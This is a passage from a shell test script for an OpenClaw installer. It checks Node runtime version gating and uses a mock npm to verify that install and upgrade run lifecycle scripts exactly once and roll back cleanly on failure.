cat "$REPO_ROOT/root/usr/libexec/openclaw-node.sh"
printf 'log_error() { echo "ERROR: $*" >&2; }\nlog_warn() { :; }\nlog_info() { :; }\n'
awk '/^detect_oc_node_requirement\(\)/,/^}$/' "$ENV_SCRIPT"
awk '/^assert_node_runtime\(\)/,/^}$/' "$ENV_SCRIPT"
echo 'assert_node_runtime'
} > "$NR_HARNESS"
nr_run() { # <node 版本> <find_oc_entry 结果>
env MOCK_NODE_VER="$1" NODE_BIN="$NR_DIR/mock-node" NODE_BASE="$NR_DIR/base" OC_PACKAGE_CONTRACT="$CONTRACT_JS" \
OC_NODE_MIN_VERSION=24.22.1 OC_NODE_FLOOR_VERSION=22.22.3 sh -c "find_oc_entry() { echo '$2'; }; . '$NR_HARNESS'" >/dev/null 2>&1
}
printf '{ "engines": { "node": ">=22.22.3 <23 || >=24.15.0 <25 || >=25.9.0" } }\n' > "$NR_DIR/pkg/package.json"
nr_run 22.23.2 "$NR_DIR/pkg/openclaw.mjs" || fail "Node 22 + installed legacy OpenClaw must pass (its engines allow it)"
nr_run 24.22.2 "$NR_DIR/pkg/openclaw.mjs" || fail "Node 24 + installed legacy OpenClaw must pass"
if nr_run 22.19.0 "$NR_DIR/pkg/openclaw.mjs"; then fail "Node below the installed package engines must be rejected"; fi
printf '{ "engines": { "node": ">=24.22.1 <25 || >=26.12.1" } }\n' > "$NR_DIR/pkg/package.json"
if nr_run 22.23.2 "$NR_DIR/pkg/openclaw.mjs"; then fail "Node 22 + current OpenClaw must be rejected"; fi
nr_run 24.22.2 "$NR_DIR/pkg/openclaw.mjs" || fail "Node 24 + current OpenClaw must pass"
if nr_run 22.23.2 ""; then fail "without an installed package the default minimum must apply"; fi
printf '{ "engines": { "node": ">=18.0.0" } }\n' > "$NR_DIR/pkg/package.json"
if nr_run 20.0.0 "$NR_DIR/pkg/openclaw.mjs"; then fail "a package with lax engines must not lower the supported floor"; fi
nr_run 22.23.2 "$NR_DIR/pkg/openclaw.mjs" || fail "Node above the floor must pass when the package allows it"
# ── 13. lifecycle 副作用与依赖解析契约测试 (预检零执行、正式安装/升级恰好一次、失败回滚与状态保持) ──
FIXTURE_PREINSTALL="$REPO_ROOT/tests/fixtures/lifecycle-side-effect/scripts/preinstall-package-manager-warning.mjs"
FIXTURE_POSTINSTALL="$REPO_ROOT/tests/fixtures/lifecycle-side-effect/scripts/postinstall-bundled-plugins.mjs"
[ -f "$FIXTURE_PREINSTALL" ] || fail "missing fixture preinstall script"
[ -f "$FIXTURE_POSTINSTALL" ] || fail "missing fixture postinstall script"
MOCK_SE_DIR="$TMP_DIR/mock-side-effect-test"
mkdir -p "$MOCK_SE_DIR/bin"
MOCK_SE_LOG="$MOCK_SE_DIR/lifecycle-side-effects.log"
MOCK_SE_GLOBAL="$MOCK_SE_DIR/global"
MOCK_SE_ARGS="$MOCK_SE_DIR/npm-args.txt"
cat > "$MOCK_SE_DIR/bin/npm" <<EOF
#!/bin/sh
echo "\$@" >> "$MOCK_SE_ARGS"
case "\$1" in
pack)
pkg_name="openclaw-2026.9.1.tgz"
build_pkg_dir="\$PWD/package"
rm -rf "\$build_pkg_dir"
mkdir -p "\$build_pkg_dir/scripts" "\$build_pkg_dir/node_modules/mock-contract-dep"
cp "$FIXTURE_PKG" "\$build_pkg_dir/package.json"
echo "console.log('2026.9.1');" > "\$build_pkg_dir/openclaw.mjs"
cp "$FIXTURE_PREINSTALL" "\$build_pkg_dir/scripts/preinstall-package-manager-warning.mjs"
cp "$FIXTURE_POSTINSTALL" "\$build_pkg_dir/scripts/postinstall-bundled-plugins.mjs"
echo "module.exports = { resolved: true };" > "\$build_pkg_dir/node_modules/mock-contract-dep/index.js"
tar -czf "\$pkg_name" package
rm -rf "\$build_pkg_dir"
echo "\$pkg_name"
exit 0
;;
install)
tarball_arg=""
dest_prefix=""
for arg in "\$@"; do
case "\$arg" in
*.tgz) tarball_arg="\$arg" ;;
--prefix=*) dest_prefix="\${arg#--prefix=}" ;;
esac
done
if [ -n "\$tarball_arg" ] && [ -f "\$tarball_arg" ] && [ -n "\$dest_prefix" ]; then
target_mod_dir="\$dest_prefix/lib/node_modules/openclaw"
mkdir -p "\$target_mod_dir" "\$dest_prefix/bin"
tar -xzf "\$tarball_arg" -C "\$target_mod_dir" --strip-components=1 2>/dev/null || true
echo "console.log('2026.9.1');" > "\$target_mod_dir/openclaw.mjs"
chmod +x "\$target_mod_dir/openclaw.mjs"
fi
exit 0
;;
*)
exit 0
;;
esac
EOF
chmod +x "$MOCK_SE_DIR/bin/npm"
reset_se_global() {
rm -rf "$MOCK_SE_GLOBAL" "$MOCK_SE_DIR/.global-"*
mkdir -p "$MOCK_SE_GLOBAL/lib/node_modules/openclaw" "$MOCK_SE_GLOBAL/bin"
echo "console.log('2026.9.0-ORIGINAL-ENTRY');" > "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs"
chmod +x "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs"
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync(process.argv[1], "utf8"));
p.version = "2026.9.0";
require("fs").writeFileSync(process.argv[2], JSON.stringify(p, null, 2));
' "$FIXTURE_PKG" "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json"
echo "2026.9.0-ORIGINAL-WRAPPER" > "$MOCK_SE_GLOBAL/bin/openclaw"
chmod +x "$MOCK_SE_GLOBAL/bin/openclaw"
}
HARNESS_SE_INSTALL="$MOCK_SE_DIR/test-se-install.sh"
cat > "$HARNESS_SE_INSTALL" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_SE_DIR/bin:\$PATH"
export OC_SIDE_EFFECT_FILE="$MOCK_SE_LOG"
export OC_TEST_DEP="mock-contract-dep"
export OC_FAIL_PREINSTALL="\${OC_FAIL_PREINSTALL:-0}"
export OC_FAIL_POSTINSTALL="\${OC_FAIL_POSTINSTALL:-0}"
NPM_BIN="$MOCK_SE_DIR/bin/npm"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_TESTED_VERSION="2026.9.1"
# v2.3 起 install/upgrade 先经通道/锁定版本解析与矩阵 integrity 校验;这两步另有专项测试
# (第 8.1 节),此处直接给出目标版本,专注验证事务、回滚与状态保持。
# OC_ALLOW_UNVERIFIED=1 模拟用户勾选「允许安装未验证版本」,使 2026.9.9 等自定义版本可进入预检。
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
resolve_target_version() { OC_TARGET_VER="\${OC_VERSION:-\$OC_TESTED_VERSION}"; OC_TARGET_CHANNEL="test"; OC_TARGET_VERIFIED=1; OC_TARGET_NEWER=0; OC_TARGET_UPSTREAM=""; return 0; }
print_target_summary() { :; }
validate_openclaw_tarball() { return 0; }
download_node() { return \${MOCK_NODE_RC:-0}; }
OC_GLOBAL="$MOCK_SE_GLOBAL"
OC_VERSION="2026.9.1"
OC_SETUP_CLEANUP=0
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
find_oc_entry() {
local base="\${1:-$MOCK_SE_GLOBAL}"
if [ -f "\$base/lib/node_modules/openclaw/openclaw.mjs" ]; then
echo "\$base/lib/node_modules/openclaw/openclaw.mjs"
fi
}
install_openclaw_cli_wrapper() {
local base="\${1:-$MOCK_SE_GLOBAL}"
mkdir -p "\$base/bin"
rm -f "\$base/bin/openclaw" 2>/dev/null || true
echo "2026.9.1-NEW-WRAPPER" > "\$base/bin/openclaw"
chmod +x "\$base/bin/openclaw"
return 0
}
assert_node_runtime() { return 0; }
cleanup_partial_install() { :; }
npm_selfcheck() { return 0; }
npm_runtime_broken_hint() { :; }
EOF
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_SE_INSTALL"
awk '/^execute_openclaw_lifecycle\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_SE_INSTALL"
awk '/^install_openclaw\(\)/,/^init_openclaw\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_SE_INSTALL"
cat >> "$HARNESS_SE_INSTALL" <<EOF
install_openclaw
EOF
HARNESS_SE_UPGRADE="$MOCK_SE_DIR/test-se-upgrade.sh"
cat > "$HARNESS_SE_UPGRADE" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_SE_DIR/bin:\$PATH"
export OC_SIDE_EFFECT_FILE="$MOCK_SE_LOG"
export OC_TEST_DEP="mock-contract-dep"
export OC_FAIL_PREINSTALL="\${OC_FAIL_PREINSTALL:-0}"
export OC_FAIL_POSTINSTALL="\${OC_FAIL_POSTINSTALL:-0}"
NPM_BIN="$MOCK_SE_DIR/bin/npm"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_TESTED_VERSION="2026.9.1"
# v2.3 起 install/upgrade 先经通道/锁定版本解析与矩阵 integrity 校验;这两步另有专项测试
# (第 8.1 节),此处直接给出目标版本,专注验证事务、回滚与状态保持。
# OC_ALLOW_UNVERIFIED=1 模拟用户勾选「允许安装未验证版本」,使 2026.9.9 等自定义版本可进入预检。
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
resolve_target_version() { OC_TARGET_VER="\${OC_VERSION:-\$OC_TESTED_VERSION}"; OC_TARGET_CHANNEL="test"; OC_TARGET_VERIFIED=1; OC_TARGET_NEWER=0; OC_TARGET_UPSTREAM=""; return 0; }
print_target_summary() { :; }
validate_openclaw_tarball() { return 0; }
download_node() { return \${MOCK_NODE_RC:-0}; }
OC_GLOBAL="$MOCK_SE_GLOBAL"
OC_VERSION="2026.9.1"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
find_oc_entry() {
local base="\${1:-$MOCK_SE_GLOBAL}"
if [ -f "\$base/lib/node_modules/openclaw/openclaw.mjs" ]; then
echo "\$base/lib/node_modules/openclaw/openclaw.mjs"
fi
}
install_openclaw_cli_wrapper() {
local base="\${1:-$MOCK_SE_GLOBAL}"
mkdir -p "\$base/bin"
rm -f "\$base/bin/openclaw" 2>/dev/null || true
echo "2026.9.1-NEW-WRAPPER" > "\$base/bin/openclaw"
chmod +x "\$base/bin/openclaw"
return 0
}
assert_node_runtime() { return 0; }
cleanup_partial_install() { :; }
npm_selfcheck() { return 0; }
npm_runtime_broken_hint() { :; }
EOF
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_SE_UPGRADE"
awk '/^execute_openclaw_lifecycle\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_SE_UPGRADE"
awk '/^upgrade_openclaw\(\)/,/^do_upgrade\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_SE_UPGRADE"
cat >> "$HARNESS_SE_UPGRADE" <<EOF
upgrade_openclaw
EOF
# ── 13.1 静态预检零执行验证 ──
# validate_openclaw_manifest 静态校验解包产物时不得产生任何文件写入副作用 (零执行)
SE_PRECHECK_DIR="$MOCK_SE_DIR/precheck-fixture"
mkdir -p "$SE_PRECHECK_DIR/scripts"
cp "$FIXTURE_PKG" "$SE_PRECHECK_DIR/package.json"
cp "$FIXTURE_PREINSTALL" "$SE_PRECHECK_DIR/scripts/preinstall-package-manager-warning.mjs"
cp "$FIXTURE_POSTINSTALL" "$SE_PRECHECK_DIR/scripts/postinstall-bundled-plugins.mjs"
rm -f "$MOCK_SE_LOG"
HARNESS_STATIC_PRECHECK="$MOCK_SE_DIR/test-static-precheck.sh"
cat > "$HARNESS_STATIC_PRECHECK" <<EOF
#!/bin/sh
set -e
export OC_SIDE_EFFECT_FILE="$MOCK_SE_LOG"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
EOF
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_STATIC_PRECHECK"
cat >> "$HARNESS_STATIC_PRECHECK" <<EOF
validate_openclaw_manifest "$SE_PRECHECK_DIR" "2026.9.1"
EOF
sh "$HARNESS_STATIC_PRECHECK" >/dev/null 2>&1 || fail "static manifest precheck on fixture must succeed"
[ ! -s "$MOCK_SE_LOG" ] || fail "static precheck must have zero side-effects (precheck executed lifecycle scripts!)"
# ── 13.2 install_openclaw 成功安装: 正式安装恰好一次、依赖可解析、受控环境与原子切换 ──
reset_se_global
rm -f "$MOCK_SE_LOG"
sh "$HARNESS_SE_INSTALL" >/dev/null 2>&1 || fail "install_openclaw with fixture should succeed"
PRE_COUNT=$(grep -c '"script":"preinstall"' "$MOCK_SE_LOG" || echo 0)
POST_COUNT=$(grep -c '"script":"postinstall"' "$MOCK_SE_LOG" || echo 0)
[ "$PRE_COUNT" -eq 1 ] || fail "install_openclaw: preinstall must be executed exactly once (actual: $PRE_COUNT)"
[ "$POST_COUNT" -eq 1 ] || fail "install_openclaw: postinstall must be executed exactly once (actual: $POST_COUNT)"
grep '"script":"preinstall"' "$MOCK_SE_LOG" | grep -q 'lib/node_modules/openclaw' || fail "install_openclaw: preinstall cwd must be candidate package directory"
grep '"script":"postinstall"' "$MOCK_SE_LOG" | grep -q 'lib/node_modules/openclaw' || fail "install_openclaw: postinstall cwd must be candidate package directory"
grep '"script":"preinstall"' "$MOCK_SE_LOG" | grep -q '"npm_config_ignore_scripts":"true"' || fail "install_openclaw: preinstall must inherit npm_config_ignore_scripts=true"
grep '"script":"postinstall"' "$MOCK_SE_LOG" | grep -q '"npm_config_ignore_scripts":"true"' || fail "install_openclaw: postinstall must inherit npm_config_ignore_scripts=true"
grep -q '"version": "2026.9.1"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "install_openclaw: new package.json not found in OC_GLOBAL"
grep -q "2026.9.1-NEW-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "install_openclaw: new wrapper not installed in OC_GLOBAL"
# ── 13.3 install_openclaw lifecycle 失败时事务回滚与旧版本保持 ──
# (13.3a) preinstall 失败
reset_se_global
rm -f "$MOCK_SE_LOG"
set +e
OC_FAIL_PREINSTALL=1 sh "$HARNESS_SE_INSTALL" >/dev/null 2>&1
RC_SE_PRE_FAIL=$?
set -e
[ "$RC_SE_PRE_FAIL" -ne 0 ] || fail "install_openclaw must exit non-zero when preinstall fails"
grep -q "2026.9.0-ORIGINAL-ENTRY" "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs" || fail "install_openclaw preinstall failure: old entry must be preserved"
grep -q '"version": "2026.9.0"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "install_openclaw preinstall failure: old package.json must be preserved"
grep -q "2026.9.0-ORIGINAL-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "install_openclaw preinstall failure: old wrapper must be preserved"
# (13.3b) postinstall 失败
reset_se_global
rm -f "$MOCK_SE_LOG"
set +e
OC_FAIL_POSTINSTALL=1 sh "$HARNESS_SE_INSTALL" >/dev/null 2>&1
RC_SE_POST_FAIL=$?
set -e
[ "$RC_SE_POST_FAIL" -ne 0 ] || fail "install_openclaw must exit non-zero when postinstall fails"
grep -q "2026.9.0-ORIGINAL-ENTRY" "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs" || fail "install_openclaw postinstall failure: old entry must be preserved"
grep -q '"version": "2026.9.0"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "install_openclaw postinstall failure: old package.json must be preserved"
grep -q "2026.9.0-ORIGINAL-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "install_openclaw postinstall failure: old wrapper must be preserved"
# ── 13.4 upgrade_openclaw 成功升级: 正式升级恰好一次、依赖可解析、受控环境与原子切换 ──
reset_se_global
rm -f "$MOCK_SE_LOG"
sh "$HARNESS_SE_UPGRADE" >/dev/null 2>&1 || fail "upgrade_openclaw with fixture should succeed"
UP_PRE_COUNT=$(grep -c '"script":"preinstall"' "$MOCK_SE_LOG" || echo 0)
UP_POST_COUNT=$(grep -c '"script":"postinstall"' "$MOCK_SE_LOG" || echo 0)
[ "$UP_PRE_COUNT" -eq 1 ] || fail "upgrade_openclaw: preinstall must be executed exactly once (actual: $UP_PRE_COUNT)"
[ "$UP_POST_COUNT" -eq 1 ] || fail "upgrade_openclaw: postinstall must be executed exactly once (actual: $UP_POST_COUNT)"
grep '"script":"preinstall"' "$MOCK_SE_LOG" | grep -q 'lib/node_modules/openclaw' || fail "upgrade_openclaw: preinstall cwd must be candidate package directory"
grep '"script":"postinstall"' "$MOCK_SE_LOG" | grep -q 'lib/node_modules/openclaw' || fail "upgrade_openclaw: postinstall cwd must be candidate package directory"
grep '"script":"preinstall"' "$MOCK_SE_LOG" | grep -q '"npm_config_ignore_scripts":"true"' || fail "upgrade_openclaw: preinstall must inherit npm_config_ignore_scripts=true"
grep '"script":"postinstall"' "$MOCK_SE_LOG" | grep -q '"npm_config_ignore_scripts":"true"' || fail "upgrade_openclaw: postinstall must inherit npm_config_ignore_scripts=true"
grep -q '"version": "2026.9.1"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "upgrade_openclaw: new package.json not found in OC_GLOBAL"
grep -q "2026.9.1-NEW-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "upgrade_openclaw: new wrapper not installed in OC_GLOBAL"
# ── 13.5 upgrade_openclaw lifecycle 失败时事务回滚与旧版本保持 ──
# (13.5a) preinstall 失败
reset_se_global
rm -f "$MOCK_SE_LOG"
set +e
OC_FAIL_PREINSTALL=1 sh "$HARNESS_SE_UPGRADE" >/dev/null 2>&1
RC_SE_UP_PRE_FAIL=$?
set -e
[ "$RC_SE_UP_PRE_FAIL" -ne 0 ] || fail "upgrade_openclaw must exit non-zero when preinstall fails"
grep -q "2026.9.0-ORIGINAL-ENTRY" "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs" || fail "upgrade_openclaw preinstall failure: old entry must be preserved"
grep -q '"version": "2026.9.0"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "upgrade_openclaw preinstall failure: old package.json must be preserved"
grep -q "2026.9.0-ORIGINAL-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "upgrade_openclaw preinstall failure: old wrapper must be preserved"
# (13.5b) postinstall 失败
reset_se_global
rm -f "$MOCK_SE_LOG"
set +e
OC_FAIL_POSTINSTALL=1 sh "$HARNESS_SE_UPGRADE" >/dev/null 2>&1
RC_SE_UP_POST_FAIL=$?
set -e
[ "$RC_SE_UP_POST_FAIL" -ne 0 ] || fail "upgrade_openclaw must exit non-zero when postinstall fails"
grep -q "2026.9.0-ORIGINAL-ENTRY" "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/openclaw.mjs" || fail "upgrade_openclaw postinstall failure: old entry must be preserved"
grep -q '"version": "2026.9.0"' "$MOCK_SE_GLOBAL/lib/node_modules/openclaw/package.json" || fail "upgrade_openclaw postinstall failure: old package.json must be preserved"
grep -q "2026.9.0-ORIGINAL-WRAPPER" "$MOCK_SE_GLOBAL/bin/openclaw" || fail "upgrade_openclaw postinstall failure: old wrapper must be preserved"
echo "ok"